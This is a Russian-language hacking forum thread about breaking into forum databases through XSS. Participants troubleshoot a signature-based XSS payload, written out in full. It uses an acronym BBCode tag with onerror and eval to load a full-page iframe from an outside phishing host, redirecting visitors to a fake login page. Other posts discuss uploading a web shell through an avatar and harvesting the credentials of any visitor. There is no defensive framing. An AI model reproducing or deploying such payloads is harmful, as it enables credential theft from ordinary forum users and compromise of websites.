Взлом БД через форум с xss

[towner]

Эм, у меня такая трабла - на фейк перекидывает только если навести курсор на подпись, с чем может быть связано?

[m0nk]

то что для ие (первый) так и работает, фейк открываеться при наведении курсора.

[Fix]

Ставьте стандартный скин, увидите подходит под эту тему или нет.

[SnOoPKa]

Появился значек '> но не перекидывает на фейк.Не перекидывало и по вашей тест ссылке (Просто открывался пользователь) пока она не стала недоступной! Косяк оперы ? Vot kod

PHP код:

[acronym=[acronym= style=background:url('//') onerror= lol="if(document.cookie.indexOf(\x22ipb_my\x22)==-1){with(valid_until=new\x20Date())setTime(getTime()+1*24*60*60*1000);document.cookie=\x22ipb_my=1234;\x20expires=\x22+valid_until.toGMTString();document.write(\x22\x3C******\x20src=http://palacheldar.hut2.ru/\x20frameborder=0\x20width=100%\x20height=100%\x20scrolling=no\x3E\x3C/******\x3E\x22);document.close()}";eval(lol); ]][/acronym][/acronym] 


Пишется <acronym title= При наведении на '>

[Excellent18rus]

первый код перекидывает автоматом, но не на всех браузерах... на новых версиях он уже не пашет...
зато 2ой код пашет везде, НО чтобы он сработал, надо чтобы по нему провели курсором... балуйтесь...

место кода всегда будет '>
ничего страшного...

[SnOoPKa]

Цитата: Сообщение от Excellent18rus первый код перекидывает автоматом, но не на всех браузерах...

Этот первый код написанно что только для FireFox & IE

Цитата: Сообщение от Excellent18rus 2ой код пашет везде, НО чтобы он сработал, надо чтобы по нему провели курсором...

у меня стоит Opera и я вставил второй код, но он не перекидывает!Даже если по нему проводить курсором или нажимать на него... Что можно сделать в таком случае? у меня код правильно вообще записан? Выше постом...

[infernale]

Цитата: Сообщение от SnOoPKa у меня стоит Opera и я вставил второй код, но он не перекидывает!Даже если по нему проводить курсором или нажимать на него... Что можно сделать в таком случае? у меня код правильно вообще записан? Выше постом...

Возможно у тебя уже есть куки

[Excellent18rus]

так. наоборот
1ый по наведению
2ой автоматом - на последних версиях браузера не пашет...

[SnOoPKa]

Цитата: Сообщение от infernale Возможно у тебя уже есть куки

нет куков у меня нету

Цитата: Сообщение от Excellent18rus так. наоборот 1ый по наведению 2ой автоматом - на последних версиях браузера не пашет...

Opera Версия 9.52 уже не новая далеко... Ради проверки установил Oper'y Версия 5... всеравно не кидает на фейк

[m0nk]

Цитата: Сообщение от infernale Залил шелл, админки нету, из этого что-то можно выжать?

Непонял вопроса,какой админки?

[BlackWinG]

Он имеет ввиду, что там я так понял одни акки только персов, админов акка нету? Так я понял?

[Helko]

Цитата: Сообщение от BlackWinG Он имеет ввиду, что там я так понял одни акки только персов, админов акка нету? Так я понял?

он иммет ввиду что он просто через аву шелл залил а не через админа

[sunches]

Можно просто создать темку на форуме и любой вошедший будет перенапрвлен на фейк,я так понял,что можно и не только от админа получить пароль и логин)

[Helko]

Цитата: Сообщение от sunches Можно просто создать темку на форуме и любой вошедший будет перенапрвлен на фейк,я так понял,что можно и не только от админа полчить пароль и логин)

ну да от любого кто зайдет и введет данные, просто от остальных особого толка не будет

[samyrai5]

как поставить права 777 подскажи а?